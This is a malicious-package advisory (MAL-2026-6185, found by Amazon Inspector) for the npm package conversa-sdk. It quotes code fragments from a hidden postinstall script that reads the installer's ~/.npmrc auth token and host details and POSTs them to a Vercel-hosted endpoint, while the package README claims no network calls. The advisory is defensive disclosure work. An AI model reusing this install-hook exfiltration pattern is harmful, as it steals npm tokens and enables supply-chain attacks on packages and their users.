mal-2026-6185
Vulnerability from ossf_malicious_packages
-= Per source details. Do not edit below this line.=-
Source: amazon-inspector (baaff1de63d44fd5f6b4fb1c5d3ebb4e9509d7581ff9afa5f339acad8f57aed0)
On npm install, postinstall.js unconditionally reads the installer's ~/.npmrc (which typically contains //registry.npmjs.org/:_authToken=...) along with the OS username, hostname, node version, and platform, and POSTs the combined payload as JSON to https://chatbot-lac-eight-78.vercel.app/api/validate. The relevant code is at postinstall.js:23 (fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8')) and postinstall.js:27-42 (JSON.stringify({ type: 'workspace_init', user: u.username, host: os.hostname(), npmrc,... }) sent via https.request({ hostname: 'chatbot-lac-eight-78.vercel.app', path: '/api/validate', method: 'POST' })). The README explicitly claims 'No home-directory writes / No network calls during install' — a deliberate cover story directly contradicted by the postinstall behavior. The destination is a generic Vercel preview-style hostname with no publisher identity matching the package. Stolen npm auth tokens grant the attacker publish rights to any package the installer maintains, enabling onward supply-chain pivot.
{
"affected": [
{
"database_specific": {
"cwes": [
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
}
],
"indicators": {
"evidence_files": [
{
"path": "postinstall.js",
"sha256": "90b6bf2883402e4afa08dabfb7b6060aaf3edd3319a7455ad3a805d2dc73c553",
"tlsh": "093142f345aed93747b44696e098a426ab67c305374ab870b15c014c6bc93dc4133afc"
}
],
"package_integrity": [
{
"filename": "conversa-sdk-2.0.2.tgz",
"hashes": {
"sha1": "cb06df99f1333774140ee036080b21762d83233b",
"sha512_sri": "sha512-IQLWC4QqDDK+pUZ6HfKVzgzz11G7JsFxGRMx+LdmQTb4KSpU3/TiWkG0Ym7jLHa37yrYqPiui9cD/jVtm3zgnw=="
}
}
]
}
},
"package": {
"ecosystem": "npm",
"name": "conversa-sdk"
},
"versions": [
"2.0.2",
"1.0.9"
]
}
],
"credits": [
{
"contact": [
"inspector-research@amazon.com"
],
"name": "Amazon Inspector",
"type": "FINDER"
}
],
"database_specific": {
"malicious-packages-origins": [
{
"id": "IN-MAL-2026-007051",
"import_time": "2026-06-19T05:16:49.353152005Z",
"modified_time": "2026-06-19T04:57:54Z",
"sha256": "9eb25af4493d35dea152523e50bcb419ce6e6147ba1725d8d5d15d20ff2a77a6",
"source": "amazon-inspector",
"versions": [
"2.0.2"
]
},
{
"id": "IN-MAL-2026-007050",
"import_time": "2026-06-19T05:16:49.197833796Z",
"modified_time": "2026-06-19T04:57:48Z",
"sha256": "baaff1de63d44fd5f6b4fb1c5d3ebb4e9509d7581ff9afa5f339acad8f57aed0",
"source": "amazon-inspector",
"versions": [
"1.0.9"
]
}
]
},
"details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (baaff1de63d44fd5f6b4fb1c5d3ebb4e9509d7581ff9afa5f339acad8f57aed0)\nOn `npm install`, postinstall.js unconditionally reads the installer\u0027s `~/.npmrc` (which typically contains `//registry.npmjs.org/:_authToken=...`) along with the OS username, hostname, node version, and platform, and POSTs the combined payload as JSON to `https://chatbot-lac-eight-78.vercel.app/api/validate`. The relevant code is at postinstall.js:23 (`fs.readFileSync(path.join(os.homedir(), \u0027.npmrc\u0027), \u0027utf8\u0027)`) and postinstall.js:27-42 (`JSON.stringify({ type: \u0027workspace_init\u0027, user: u.username, host: os.hostname(), npmrc,... })` sent via `https.request({ hostname: \u0027chatbot-lac-eight-78.vercel.app\u0027, path: \u0027/api/validate\u0027, method: \u0027POST\u0027 })`). The README explicitly claims \u0027No home-directory writes / No network calls during install\u0027 \u2014 a deliberate cover story directly contradicted by the postinstall behavior. The destination is a generic Vercel preview-style hostname with no publisher identity matching the package. Stolen npm auth tokens grant the attacker publish rights to any package the installer maintains, enabling onward supply-chain pivot.\n",
"id": "MAL-2026-6185",
"modified": "2026-06-19T05:18:24Z",
"published": "2026-06-19T04:57:48Z",
"references": [
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/conversa-sdk/v/2.0.2"
},
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/conversa-sdk/v/1.0.9"
}
],
"schema_version": "1.7.4",
"summary": "Malicious code in conversa-sdk (npm)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.